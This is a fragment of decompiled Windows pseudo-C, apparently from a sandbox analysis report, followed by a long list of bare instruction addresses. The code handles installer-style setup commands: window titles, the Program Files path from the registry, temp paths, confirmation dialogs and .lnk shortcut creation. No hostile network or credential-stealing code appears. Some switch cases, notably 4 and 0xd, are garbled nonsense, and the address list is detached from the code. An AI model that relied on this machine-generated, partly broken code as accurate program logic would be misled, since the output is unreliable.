										if( *((intOrPtr*)(_t354 - 0x18)) > _t330) {
											goto L18;
										}
										goto L17;
										L26:
										_push(0);
										_t299 = E0040960E(_t354 - 0x7c90, _t347, _t354 - 0x5c88);
										__eflags = _t299;
									} while (_t299 != 0);
									goto L27;
								}
							case 1:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) == 0) {
									__eax =  *0x441850;
									__eflags = __eax;
									 *((char*)(__ebp - 0x12)) = __eax == 0;
									__eflags =  *((char*)(__ebp - 0x12));
									if( *((char*)(__ebp - 0x12)) == 0) {
										__eax = E0041A7C9(__eax, L"<br>");
										_pop(__ecx);
										_pop(__ecx);
									}
									__eflags =  *((char*)(__ebp - 0x11));
									if(__eflags == 0) {
										__edi = __ebp + 0xc;
										__edi = E0040D92D(__ebp + 0xc, __eflags);
									} else {
										__edi = __ebp - 0x4440;
									}
									__eflags =  *((char*)(__ebp - 0x12));
									if( *((char*)(__ebp - 0x12)) == 0) {
										__esi = E0041A7AF( *0x441850);
									} else {
										__esi = 0;
									}
									__eax = E0041A7AF(__edi);
									__eax = __eax + __esi;
									_push(__eax);
									_push( *0x441850);
									__eax = E0041A594(__ebx, __edi, __esi, __eflags);
									__esp = __esp + 0xc;
									__eflags =  *((char*)(__ebp - 0x12));
									 *0x441850 = __eax;
									if( *((char*)(__ebp - 0x12)) != 0) {
										__ecx = 0;
										__eflags = 0;
										 *__eax = __cx;
									}
									__eax = E0041A7C9(__eax, __edi);
									__eflags =  *((char*)(__ebp - 0x11));
									_pop(__ecx);
									_pop(__ecx);
									if(__eflags == 0) {
										_push(__edi);
										__eax = E0041A506(__ebx, __edi, __esi, __eflags);
										_pop(__ecx);
									}
								}
								goto L163;
							case 2:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) == 0) {
									__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
								}
								goto L163;
							case 3:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) != 0) {
									goto L163;
								}
								__eflags =  *0x44187a;
								if( *0x44187a != 0) {
									goto L163;
								}
								__eax = 0;
								__eflags =  *(__ebp - 0x4440) - 0x22;
								__edi = __ebp - 0x4440;
								 *(__ebp - 0x18) = __edi;
								 *(__ebp - 0x1040) = __ax;
								if( *(__ebp - 0x4440) == 0x22) {
									__edi = __ebp - 0x443e;
									 *(__ebp - 0x18) = __edi;
								}
								__eax = E0041A7AF(__edi);
								__eflags = __eax - __ebx;
								if(__eax >= __ebx) {
									goto L163;
								} else {
									__eax = __edi->i & 0x0000ffff;
									__eflags = __ax - 0x2e;
									if(__ax != 0x2e) {
										L52:
										__eflags = __ax - 0x5c;
										if(__ax == 0x5c) {
											L64:
											_push(__edi);
											L65:
											__eax = __ebp - 0x1040;
											_push(__ebp - 0x1040);
											__eax = E0041A7F7();
											L66:
											_pop(__ecx);
											_pop(__ecx);
											L67:
											__eax = __ebp - 0x1040;
											__eax = E0041CA4F(__ebp - 0x1040, 0x22);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__eflags =  *((short*)(2 + __eax));
												if( *((short*)(2 + __eax)) == 0) {
													__ecx = 0;
													__eflags = 0;
													 *__eax = __cx;
												}
											}
											__ebp - 0x1040 = E0041A7F7(__esi, __ebp - 0x1040);
											_pop(__ecx);
											_pop(__ecx);
											__ebp - 0x1040 = E0040DB16(__esi, __ebp - 0x1040, __ebx); // executed
											__edi = GetDlgItem( *(__ebp + 8), 0x66);
											__ebp - 0x1040 = SetWindowTextW(__edi, __ebp - 0x1040); // executed
											__eax = SendMessageW(__edi, 0x143, 0, __esi); // executed
											__eax = __ebp - 0x1040;
											__eax = E0041AA21(__esi, __ebp - 0x1040);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__ebp - 0x1040 = SendMessageW(__edi, 0x143, 0, __ebp - 0x1040);
											}
											goto L163;
										}
										__eflags = __ax;
										if(__ax == 0) {
											L55:
											__eax = __ebp - 0x1c;
											__eax = RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion", 0, 1, __ebp - 0x1c);
											__eflags = __eax;
											if(__eax == 0) {
												__ebp - 0x10 = __ebp - 0x1040;
												__eax = __ebp - 0x20;
												 *(__ebp - 0x10) = 0x1000;
												RegQueryValueExW( *(__ebp - 0x1c), L"ProgramFilesDir", 0, __ebp - 0x20, __ebp - 0x1040, __ebp - 0x10) = RegCloseKey( *(__ebp - 0x1c));
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eax = 0x7ff;
												__eflags =  *(__ebp - 0x10) - 0x7ff;
												if( *(__ebp - 0x10) < 0x7ff) {
													__eax =  *(__ebp - 0x10);
												}
												__ecx = 0;
												__eflags = 0;
												 *(__ebp + __eax * 2 - 0x1040) = __cx;
											}
											__eflags =  *(__ebp - 0x1040);
											if( *(__ebp - 0x1040) != 0) {
												__eax = __ebp - 0x1040;
												__eax = E0041A7AF(__ebp - 0x1040);
												__eflags =  *((short*)(__ebp + __eax * 2 - 0x1042)) - 0x5c;
												if( *((short*)(__ebp + __eax * 2 - 0x1042)) != 0x5c) {
													__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040, "\\");
													_pop(__ecx);
													_pop(__ecx);
												}
											}
											__edi = E0041A7AF(__edi);
											__eax = __ebp - 0x1040;
											__edi = __edi + E0041A7AF(__ebp - 0x1040);
											__eflags = __edi - 0x7ff;
											if(__edi >= 0x7ff) {
												goto L67;
											} else {
												__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040,  *(__ebp - 0x18));
												goto L66;
											}
										}
										__eflags = __edi->i - 0x3a;
										if(__edi->i == 0x3a) {
											goto L64;
										}
										goto L55;
									}
									__eflags = __edi->i - 0x5c;
									if(__edi->i != 0x5c) {
										goto L52;
									}
									_t103 = __edi + 4; // 0x26
									__eax = _t103;
									__eflags =  *__eax;
									if( *__eax == 0) {
										goto L163;
									}
									_push(__eax);
									goto L65;
								}
							case 4:
								__eflags =  *0x441874 - 1;
								__eflags = __eax - 0x441874;
								__edi->i = __edi->i + __ecx;
								__eflags = __edi->i & __dh;
								_push(es);
								 *__eax =  *__eax + __al;
								__eflags =  *__eax;
							case 5:
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eflags = __eax;
								if(__eax == 0) {
									L84:
									 *0x441831 = 0;
									 *0x441830 = 1;
									goto L163;
								}
								__eax = __eax - 0x30;
								__eflags = __eax;
								if(__eax == 0) {
									 *0x441831 = 0;
									L83:
									 *0x441830 = 0;
									goto L163;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax == 0) {
									goto L84;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax != 0) {
									goto L163;
								}
								 *0x441831 = 1;
								goto L83;
							case 6:
								__eflags =  *(__ebp + 0x10) - 4;
								if( *(__ebp + 0x10) != 4) {
									goto L94;
								}
								__eax = __ebp - 0x4440;
								__eax = E0041AA21(__ebp - 0x4440, L"<>");
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax == 0) {
									goto L94;
								}
								_push(0);
								goto L93;
							case 7:
								__eflags =  *(__ebp + 0x10) - 1;
								if(__eflags != 0) {
									L114:
									__eflags =  *(__ebp + 0x10) - 7;
									if( *(__ebp + 0x10) == 7) {
										__eflags =  *0x441874;
										if( *0x441874 == 0) {
											 *0x441874 = 2;
										}
										 *0x441870 = 1;
									}
									goto L163;
								}
								__ebp - 0x8c90 = GetTempPathW(__ebx, __ebp - 0x8c90);
								__ebp - 0x8c90 = E0040A116(__eflags, __ebp - 0x8c90, __ebx);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
								_push(0);
								__esi = L"%s%s%d";
								while(1) {
									_push( *0x4300c8);
									__ebp - 0x8c90 = __ebp - 0x1040;
									E0040BC16(__ebp - 0x1040, __ebx, __esi, __ebp - 0x8c90) = __ebp - 0x1040;
									_push(__ebp - 0x1040);
									__eax = __edi->i();
									__eflags = __eax - 0xffffffff;
									if(__eax == 0xffffffff) {
										break;
									}
									_t152 = __ebp - 0x10;
									 *_t152 =  *(__ebp - 0x10) + 1;
									__eflags =  *_t152;
									_push( *(__ebp - 0x10));
								}
								__ebp - 0x1040 = SetDlgItemTextW( *(__ebp + 8), 0x66, __ebp - 0x1040);
								__eflags =  *(__ebp - 0x4440);
								if( *(__ebp - 0x4440) == 0) {
									goto L163;
								}
								__eflags =  *0x44184a;
								if( *0x44184a != 0) {
									goto L163;
								}
								__eax = 0;
								 *(__ebp - 0x1440) = __ax;
								__eax = __ebp - 0x4440;
								__eax = E0041CA29(__ebp - 0x4440, 0x2c);
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax != 0) {
									L110:
									__eflags =  *(__ebp - 0x1440);
									if( *(__ebp - 0x1440) == 0) {
										__ebp - 0x1bc90 = __ebp - 0x4440;
										E0041A7F7(__ebp - 0x4440, __ebp - 0x1bc90) = __ebp - 0x19c90;
										__ebp - 0x1440 = E0041A7F7(__ebp - 0x1440, __ebp - 0x19c90);
									}
									__ebp - 0x4440 = E0040D24C(__ebp - 0x4440);
									__eax = 0;
									 *(__ebp - 0x3440) = __ax;
									__ebp - 0x1440 = __ebp - 0x4440;
									__eax = MessageBoxW( *(__ebp + 8), __ebp - 0x4440, __ebp - 0x1440, 0x24);
									__eflags = __eax - 6;
									if(__eax == 6) {
										goto L163;
									} else {
										 *0x441849 = 1;
										 *0x44183c = 1;
										__eax = EndDialog( *(__ebp + 8), 1);
										goto L114;
									}
								}
								__ecx = 0;
								__eflags =  *(__ebp - 0x4440) - __cx;
								if( *(__ebp - 0x4440) == __cx) {
									goto L110;
								}
								__eax = __ebp - 0x4440;
								while(1) {
									__eflags =  *__eax - 0x40;
									if( *__eax == 0x40) {
										break;
									}
									__ecx = __ecx + 1;
									__eax = __ebp + __ecx * 2 - 0x4440;
									__eflags =  *__eax;
									if( *__eax != 0) {
										continue;
									}
									goto L110;
								}
								__esi = __ecx + __ecx;
								__ebp + __esi - 0x443e = __ebp - 0x1440;
								__eax = E0041A7F7(__ebp - 0x1440, __ebp + __esi - 0x443e);
								_pop(__ecx);
								__eax = 0;
								__eflags = 0;
								_pop(__ecx);
								 *(__ebp + __esi - 0x4440) = __ax;
								goto L110;
							case 8:
								__eflags =  *(__ebp + 0x10) - 3;
								if( *(__ebp + 0x10) == 3) {
									__eflags =  *(__ebp - 0x4440);
									if(__eflags != 0) {
										__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
									}
									__edi = __ebp + 0xc;
									 *0x441854 = E0040D92D(__edi, __eflags);
								}
								 *0x44184b = 1;
								goto L163;
							case 9:
								__eflags =  *(__ebp + 0x10) - 5;
								if( *(__ebp + 0x10) != 5) {
									L94:
									 *0x44185c = 1;
									goto L163;
								}
								_push(1);
								L93:
								_push( *(__ebp + 8));
								__ecx = __ebp - 0x4440;
								__eax = E0040E46C(__ecx);
								goto L94;
							case 0xa:
								__eflags =  *(__ebp + 0x10) - 6;
								if( *(__ebp + 0x10) != 6) {
									goto L163;
								}
								__eax = 0;
								 *(__ebp - 0x2440) = __ax;
								__eax =  *(__ebp - 0x1bc90) & 0x0000ffff;
								__eax = E0041D265( *(__ebp - 0x1bc90) & 0x0000ffff);
								_push(__ebx);
								__eflags = __eax - 0x50;
								if(__eax == 0x50) {
									_push(0x43f822);
									__eax = __ebp - 0x2440;
									_push(__ebp - 0x2440);
									__eax = E00410B9C();
									 *(__ebp - 0x18) = 2;
								} else {
									__eflags = __eax - 0x54;
									__eax = __ebp - 0x2440;
									if(__eflags == 0) {
										_push(0x43e822);
										_push(__eax);
										__eax = E00410B9C();
										 *(__ebp - 0x18) = 7;
									} else {
										_push(0x440822);
										_push(__eax);
										__eax = E00410B9C();
										 *(__ebp - 0x18) = 0x10;
									}
								}
								__eax = 0;
								 *(__ebp - 0xbc90) = __ax;
								 *(__ebp - 0x4c40) = __ax;
								__ebp - 0x19c90 = __ebp - 0x6c88;
								__eax = E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c90);
								__eflags =  *(__ebp - 0x6c88) - 0x22;
								_pop(__ecx);
								_pop(__ecx);
								if( *(__ebp - 0x6c88) != 0x22) {
									__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
									__eflags = __al;
									if(__al != 0) {
										goto L148;
									}
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
									__eflags =  *(__ebp - 0x6c88);
									__edi = __ebp - 0x6c88;
									if( *(__ebp - 0x6c88) == 0) {
										goto L148;
									} else {
										goto L136;
									}
									do {
										L136:
										__eax = __edi->i & 0x0000ffff;
										__eflags = __ax - 0x20;
										if(__ax == 0x20) {
											L138:
											__esi = __ax & 0x0000ffff;
											__eax = 0;
											__edi->i = __ax;
											__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
											__eflags = __al;
											if(__al == 0) {
												__edi->i = __si;
												goto L145;
											}
											 *(__ebp - 0x10) = __edi;
											__eflags = __si - 0x2f;
											if(__si != 0x2f) {
												do {
													__edi =  &(__edi->i);
													__edi =  &(__edi->i);
													__eflags = __edi->i - 0x20;
												} while (__edi->i == 0x20);
												_push(__edi);
												__eax = __ebp - 0x4c40;
												L143:
												_push(__eax);
												E0041A7F7() =  *(__ebp - 0x10);
												_pop(__ecx);
												_pop(__ecx);
												 *( *(__ebp - 0x10)) = __si;
												goto L145;
											}
											_push(0x2f);
											_pop(__eax);
											 *(__ebp - 0x4c40) = __ax;
											__eax =  &(__edi->i);
											_push( &(__edi->i));
											__eax = __ebp - 0x4c3e;
											goto L143;
										}
										__eflags = __ax - 0x2f;
										if(__ax != 0x2f) {
											goto L145;
										}
										goto L138;
										L145:
										__edi =  &(__edi->i);
										__edi =  &(__edi->i);
										__eflags = __edi->i;
									} while (__edi->i != 0);
									__eflags =  *(__ebp - 0x10);
									if( *(__ebp - 0x10) != 0) {
										__ecx =  *(__ebp - 0x10);
										__eax = 0;
										__eflags = 0;
										 *( *(__ebp - 0x10)) = __ax;
									}
									goto L148;
								} else {
									__ebp - 0x19c8e = __ebp - 0x6c88;
									E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c8e) = __ebp - 0x6c86;
									__eax = E0041CA29(__ebp - 0x6c86, 0x22);
									__eflags = __eax;
									if(__eax != 0) {
										__ecx = 0;
										 *__eax = __cx;
										__ebp - 0x4c40 = E0041A7F7(__ebp - 0x4c40, __ebp - 0x4c40);
										_pop(__ecx);
										_pop(__ecx);
									}
									L148:
									__esi = 0;
									__eflags =  *((intOrPtr*)(__ebp - 0x11c90)) - __si;
									if( *((intOrPtr*)(__ebp - 0x11c90)) != __si) {
										__ebp - 0xbc90 = __ebp - 0x11c90;
										__eax = E0040A9CB(__edi, __ebp - 0x11c90, __ebp - 0xbc90, __ebx);
									}
									__ebp - 0xcc90 = __ebp - 0x6c88;
									__eax = E0040A9CB(__edi, __ebp - 0x6c88, __ebp - 0xcc90, __ebx);
									__eflags =  *(__ebp - 0x2440) - __si;
									if(__eflags == 0) {
										__ebp - 0x2440 = E0040D212(__ecx, __ebp - 0x2440,  *(__ebp - 0x18));
									}
									__ebp - 0x2440 = E0040A116(__eflags, __ebp - 0x2440, __ebx);
									__eflags =  *((intOrPtr*)(__ebp - 0x17c90)) - __si;
									if(__eflags != 0) {
										__ebp - 0x17c90 = __ebp - 0x2440;
										E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x17c90, __ebx) = __ebp - 0x2440;
										__eax = E0040A116(__eflags, __ebp - 0x2440, __ebx);
									}
									__ebp - 0x2440 = __ebp - 0xac90;
									__eax = E0041A7F7(__ebp - 0xac90, __ebp - 0x2440);
									_pop(__ecx);
									_pop(__ecx);
									__eax = __ebp - 0x13c90;
									__eflags =  *(__ebp - 0x13c90) - __si;
									if(__eflags == 0) {
										__eax = __ebp - 0x19c90;
									}
									__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x2440, __ebx);
									__eax = __ebp - 0x2440;
									__eflags = E0040A76A(__ebp - 0x2440) - __esi;
									if(__eflags == 0) {
										L158:
										__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, L".lnk", __ebx);
										goto L159;
									} else {
										__eflags = __eax;
										if(__eflags == 0) {
											L159:
											__ebp - 0x2440 = E0040935F(__ebx, __ecx, __edi, __ebp - 0x2440, 1);
											__ebp - 0xcc90 = __ebp - 0x9c90;
											__eax = E0041A7F7(__ebp - 0x9c90, __ebp - 0xcc90);
											_pop(__ecx);
											_pop(__ecx);
											__ebp - 0x9c90 = E0040A7F3(__eflags, __ebp - 0x9c90);
											 *(__ebp - 0x4c40) & 0x0000ffff =  ~( *(__ebp - 0x4c40) & 0x0000ffff);
											asm("sbb eax, eax");
											__ecx = __ebp - 0x4c40;
											__eax =  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40;
											 *(__ebp - 0xbc90) & 0x0000ffff =  ~( *(__ebp - 0xbc90) & 0x0000ffff);
											asm("sbb ecx, ecx");
											__edx = __ebp - 0xbc90;
											__ecx =  ~( *(__ebp - 0xbc90) & 0x0000ffff) & __ebp - 0x0000bc90;
											 *(__ebp - 0x15c90) & 0x0000ffff =  ~( *(__ebp - 0x15c90) & 0x0000ffff);
											asm("sbb edx, edx");
											__esi = __ebp - 0x15c90;
											__edx =  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90;
											 *(__ebp - 0x9c90) & 0x0000ffff =  ~( *(__ebp - 0x9c90) & 0x0000ffff);
											asm("sbb esi, esi");
											__edi = __ebp - 0x9c90;
											__esi =  ~( *(__ebp - 0x9c90) & 0x0000ffff) & __edi;
											__ebp - 0x2440 = __ebp - 0xcc90;
											__eax = E00419BB0(__ecx, 0, __ebp - 0xcc90, __ebp - 0x2440, __esi,  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90, __ecx,  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40);
											__eflags =  *(__ebp - 0xac90);
											if( *(__ebp - 0xac90) != 0) {
												__eax = __ebp - 0xac90;
												SHChangeNotify(0x1000, 5, __ebp - 0xac90, 0);
											}
											goto L163;
										}
										goto L158;
									}
								}
							case 0xb:
								__eflags =  *(__ebp + 0x10) - 7;
								if( *(__ebp + 0x10) == 7) {
									 *0x441878 = 1;
								}
								goto L163;
							case 0xc:
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eax = E0041D265( *(__ebp - 0x4440) & 0x0000ffff);
								__eflags = __eax - 0x46;
								if(__eax == 0x46) {
									 *0x441823 = 1;
								} else {
									__eflags = __eax - 0x55;
									if(__eax == 0x55) {
										 *0x441822 = 1;
									} else {
										 *0x441823 = 0;
										 *0x441822 = 0;
									}
								}
								goto L163;
							case 0xd:
								 *0x44185d = 1;
								__eax = __eax + 0x44185d;
								__ecx = __ecx + __ebp;
								 *0x7d830000 =  *0x7d830000 ^ __eax;
								__eflags =  *0x7d830000;
								goto L163;
						}
						L4:
						_t274 = E0040DCB8(_t336, _t274,  *(_t354 - 0x10));
						 *(_t354 - 0x10) =  *(_t354 - 0x10) + 0x2000;
						_t15 = _t354 - 0x18;
						 *_t15 =  *((intOrPtr*)(_t354 - 0x18)) - 1;
						if( *_t15 != 0) {
							goto L4;
						} else {
							 *(_t354 - 0x10) =  *(_t354 - 0x10) & 0x00000000;
							goto L6;
						}
						L163:
						_t347 = _t354 - 0xec90;
						_t271 = E0040D781(_t354 - 0x11, _t354 - 0xec90, _t352,  *((intOrPtr*)(_t354 + 0xc)), _t354 - 0x4440, _t354 + 0xf, 0x1000);
						 *((intOrPtr*)(_t354 + 0xc)) = _t271;
					} while (_t271 != 0);
				}
			}

0x0040e85c
0x0040e866
0x0040e86f
0x0040f434
0x0040f437
0x0040f43f
0x0040f43f
0x0040e891
0x0040e896
0x0040e89b
0x0040e8a2
0x0040e8a9
0x0040e8a9
0x0040e8af
0x0040e8b5
0x0040e8ba
0x0040e8c0
0x0040e8c3
0x0040e8c3
0x00000000
0x0040e8e3
0x0040e8fd
0x0040e904
0x00000000
0x0040e906
0x00000000
0x0040e906
0x0040e904
0x0040e90f
0x00000000
0x00000000
0x0040e918
0x00000000
0x0040e91f
0x0040e923
0x00000000
0x00000000
0x0040e931
0x0040e94c
0x0040e957
0x0040e95c
0x0040e96d
0x0040e978
0x0040e97d
0x0040e98c
0x0040e991
0x0040e993
0x0040eaf2
0x0040eaf2
0x0040eafc
0x00000000
0x0040e999
0x0040e999
0x0040e99e
0x0040e9a7
0x0040e9ad
0x0040e9b4
0x0040ea5c
0x0040ea63
0x0040ea65
0x0040ea68
0x00000000
0x00000000
0x0040ea71
0x0040ea77
0x0040ea79
0x00000000
0x0040ea7b
0x0040ea7b
0x0040ea7e
0x0040ea7f
0x0040ea87
0x0040ea97
0x0040ea9c
0x0040eaa6
0x0040eaa8
0x0040eaab
0x0040ea81
0x0040ea81
0x0040ea81
0x0040ea84
0x00000000
0x0040eaad
0x0040eabb
0x0040eac1
0x0040eac3
0x0040ead0
0x0040ead0
0x00000000
0x0040eac3
0x0040eaab
0x0040ea79
0x0040e9c9
0x0040e9d6
0x0040e9e2
0x0040e9e8
0x0040e9eb
0x0040e9ee
0x0040ea02
0x0040ea09
0x0040ea0e
0x0040ea10
0x00000000
0x00000000
0x0040ea16
0x0040ea1d
0x0040ea22
0x0040ea26
0x0040ea33
0x0040ea38
0x0040ea3b
0x0040ea3d
0x0040ea3e
0x0040ea48
0x0040ea4f
0x0040ea56
0x00000000
0x0040ea56
0x0040e9f7
0x0040e9fd
0x0040ea00
0x00000000
0x00000000
0x00000000
0x0040ead6
0x0040ead6
0x0040eae5
0x0040eaea
0x0040eaea
0x00000000
0x0040e99e
0x00000000
0x0040eb06
0x0040eb0a
0x0040eb10
0x0040eb15
0x0040eb17
0x0040eb1b
0x0040eb1f
0x0040eb27
0x0040eb2c
0x0040eb2d
0x0040eb2d
0x0040eb2e
0x0040eb32
0x0040eb3c
0x0040eb44
0x0040eb34
0x0040eb34
0x0040eb34
0x0040eb46
0x0040eb4a
0x0040eb5c
0x0040eb4c
0x0040eb4c
0x0040eb4c
0x0040eb5f
0x0040eb64
0x0040eb6a
0x0040eb6b
0x0040eb71
0x0040eb76
0x0040eb79
0x0040eb7d
0x0040eb82
0x0040eb84
0x0040eb84
0x0040eb86
0x0040eb86
0x0040eb8b
0x0040eb90
0x0040eb94
0x0040eb95
0x0040eb96
0x0040eb9c
0x0040eb9d
0x0040eba2
0x0040eba2
0x0040eb96
0x00000000
0x00000000
0x0040eba8
0x0040ebac
0x0040ebbc
0x0040ebbc
0x00000000
0x00000000
0x0040ebc7
0x0040ebcb
0x00000000
0x00000000
0x0040ebd1
0x0040ebd9
0x00000000
0x00000000
0x0040ebdf
0x0040ebe1
0x0040ebe9
0x0040ebef
0x0040ebf2
0x0040ebf9
0x0040ebfb
0x0040ec01
0x0040ec01
0x0040ec05
0x0040ec0b
0x0040ec0d
0x00000000
0x0040ec13
0x0040ec13
0x0040ec16
0x0040ec1a
0x0040ec36
0x0040ec36
0x0040ec3a
0x0040ed1b
0x0040ed1b
0x0040ed1c
0x0040ed1c
0x0040ed22
0x0040ed23
0x0040ed28
0x0040ed28
0x0040ed29
0x0040ed2a
0x0040ed2a
0x0040ed33
0x0040ed38
0x0040ed39
0x0040ed3a
0x0040ed3c
0x0040ed3e
0x0040ed43
0x0040ed45
0x0040ed45
0x0040ed47
0x0040ed47
0x0040ed43
0x0040ed52
0x0040ed57
0x0040ed58
0x0040ed61
0x0040ed71
0x0040ed7b
0x0040ed8a
0x0040ed90
0x0040ed98
0x0040ed9d
0x0040ed9e
0x0040ed9f
0x0040eda1
0x0040edb6
0x0040edb6
0x00000000
0x0040eda1
0x0040ec40
0x0040ec43
0x0040ec50
0x0040ec50
0x0040ec62
0x0040ec68
0x0040ec6a
0x0040ec70
0x0040ec77
0x0040ec85
0x0040ec95
0x0040ec9b
0x0040ec9e
0x0040eca3
0x0040eca6
0x0040eca8
0x0040eca8
0x0040ecab
0x0040ecab
0x0040ecad
0x0040ecad
0x0040ecb5
0x0040ecbd
0x0040ecbf
0x0040ecc6
0x0040eccb
0x0040ecd5
0x0040ece3
0x0040ece8
0x0040ece9
0x0040ece9
0x0040ecd5
0x0040ecf0
0x0040ecf2
0x0040ecfe
0x0040ed02
0x0040ed08
0x00000000
0x0040ed0a
0x0040ed14
0x00000000
0x0040ed14
0x0040ed08
0x0040ec45
0x0040ec4a
0x00000000
0x00000000
0x00000000
0x0040ec4a
0x0040ec1c
0x0040ec21
0x00000000
0x00000000
0x0040ec23
0x0040ec23
0x0040ec26
0x0040ec2a
0x00000000
0x00000000
0x0040ec30
0x00000000
0x0040ec30
0x00000000
0x0040edc1
0x0040edc2
0x0040edc7
0x0040edc9
0x0040edcb
0x0040edcc
0x0040edcc
0x00000000
0x0040ee02
0x0040ee09
0x0040ee09
0x0040ee0c
0x0040ee39
0x0040ee39
0x0040ee40
0x00000000
0x0040ee40
0x0040ee0e
0x0040ee0e
0x0040ee11
0x0040ee26
0x0040ee2d
0x0040ee2d
0x00000000
0x0040ee2d
0x0040ee13
0x0040ee13
0x0040ee14
0x00000000
0x00000000
0x0040ee16
0x0040ee16
0x0040ee17
0x00000000
0x00000000
0x0040ee1d
0x00000000
0x00000000
0x0040ee8f
0x0040ee93
0x00000000
0x00000000
0x0040ee95
0x0040eea1
0x0040eea6
0x0040eea7
0x0040eea8
0x0040eeaa
0x00000000
0x00000000
0x0040eeac
0x00000000
0x00000000
0x0040eed4
0x0040eed8
0x0040f04f
0x0040f04f
0x0040f053
0x0040f059
0x0040f060
0x0040f062
0x0040f062
0x0040f06c
0x0040f06c
0x00000000
0x0040f053
0x0040eee6
0x0040eef4
0x0040eef9
0x0040eefd
0x0040eeff
0x0040ef0c
0x0040ef0c
0x0040ef1a
0x0040ef2a
0x0040ef30
0x0040ef31
0x0040ef33
0x0040ef36
0x00000000
0x00000000
0x0040ef06
0x0040ef06
0x0040ef06
0x0040ef09
0x0040ef09
0x0040ef44
0x0040ef4a
0x0040ef52
0x00000000
0x00000000
0x0040ef58
0x0040ef5f
0x00000000
0x00000000
0x0040ef65
0x0040ef67
0x0040ef6e
0x0040ef77
0x0040ef7c
0x0040ef7d
0x0040ef7e
0x0040ef80
0x0040efcc
0x0040efcc
0x0040efd4
0x0040efdd
0x0040efe9
0x0040eff7
0x0040effc
0x0040f006
0x0040f00b
0x0040f00d
0x0040f01d
0x0040f027
0x0040f02d
0x0040f030
0x00000000
0x0040f036
0x0040f03b
0x0040f042
0x0040f049
0x00000000
0x0040f049
0x0040f030
0x0040ef82
0x0040ef84
0x0040ef8b
0x00000000
0x00000000
0x0040ef8d
0x0040ef93
0x0040ef93
0x0040ef97
0x00000000
0x00000000
0x0040ef99
0x0040ef9a
0x0040efa1
0x0040efa5
0x00000000
0x00000000
0x00000000
0x0040efa7
0x0040efa9
0x0040efb4
0x0040efbb
0x0040efc0
0x0040efc1
0x0040efc1
0x0040efc3
0x0040efc4
0x00000000
0x00000000
0x0040f078
0x0040f07c
0x0040f07e
0x0040f086
0x0040f092
0x0040f092
0x0040f098
0x0040f0a0
0x0040f0a0
0x0040f0a5
0x00000000
0x00000000
0x0040f0b1
0x0040f0b5
0x0040eebc
0x0040eebc
0x00000000
0x0040eebc
0x0040f0bb
0x0040eeae
0x0040eeae
0x0040eeb1
0x0040eeb7
0x00000000
0x00000000
0x0040f0c2
0x0040f0c6
0x00000000
0x00000000
0x0040f0cc
0x0040f0ce
0x0040f0d5
0x0040f0dd
0x0040f0e3
0x0040f0e4
0x0040f0e7
0x0040f11c
0x0040f121
0x0040f127
0x0040f128
0x0040f12d
0x0040f0e9
0x0040f0e9
0x0040f0ec
0x0040f0f2
0x0040f108
0x0040f10d
0x0040f10e
0x0040f113
0x0040f0f4
0x0040f0f4
0x0040f0f9
0x0040f0fa
0x0040f0ff
0x0040f0ff
0x0040f0f2
0x0040f134
0x0040f136
0x0040f13d
0x0040f14b
0x0040f152
0x0040f157
0x0040f15f
0x0040f160
0x0040f161
0x0040f1b2
0x0040f1b7
0x0040f1b9
0x00000000
0x00000000
0x0040f1bf
0x0040f1c3
0x0040f1cb
0x0040f1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f1d3
0x0040f1d3
0x0040f1d3
0x0040f1d6
0x0040f1da
0x0040f1e2
0x0040f1e2
0x0040f1e5
0x0040f1e7
0x0040f1f1
0x0040f1f6
0x0040f1f8
0x0040f238
0x00000000
0x0040f238
0x0040f1fa
0x0040f1fd
0x0040f201
0x0040f219
0x0040f219
0x0040f21a
0x0040f21b
0x0040f21b
0x0040f221
0x0040f222
0x0040f228
0x0040f228
0x0040f22e
0x0040f231
0x0040f232
0x0040f233
0x00000000
0x0040f233
0x0040f203
0x0040f205
0x0040f206
0x0040f20d
0x0040f210
0x0040f211
0x00000000
0x0040f211
0x0040f1dc
0x0040f1e0
0x00000000
0x00000000
0x00000000
0x0040f23b
0x0040f23b
0x0040f23c
0x0040f23d
0x0040f23d
0x0040f243
0x0040f247
0x0040f249
0x0040f24c
0x0040f24c
0x0040f24e
0x0040f24e
0x00000000
0x0040f163
0x0040f16a
0x0040f176
0x0040f17f
0x0040f187
0x0040f189
0x0040f18f
0x0040f191
0x0040f19f
0x0040f1a4
0x0040f1a5
0x0040f1a5
0x0040f251
0x0040f251
0x0040f253
0x0040f25a
0x0040f264
0x0040f26b
0x0040f26b
0x0040f278
0x0040f27f
0x0040f284
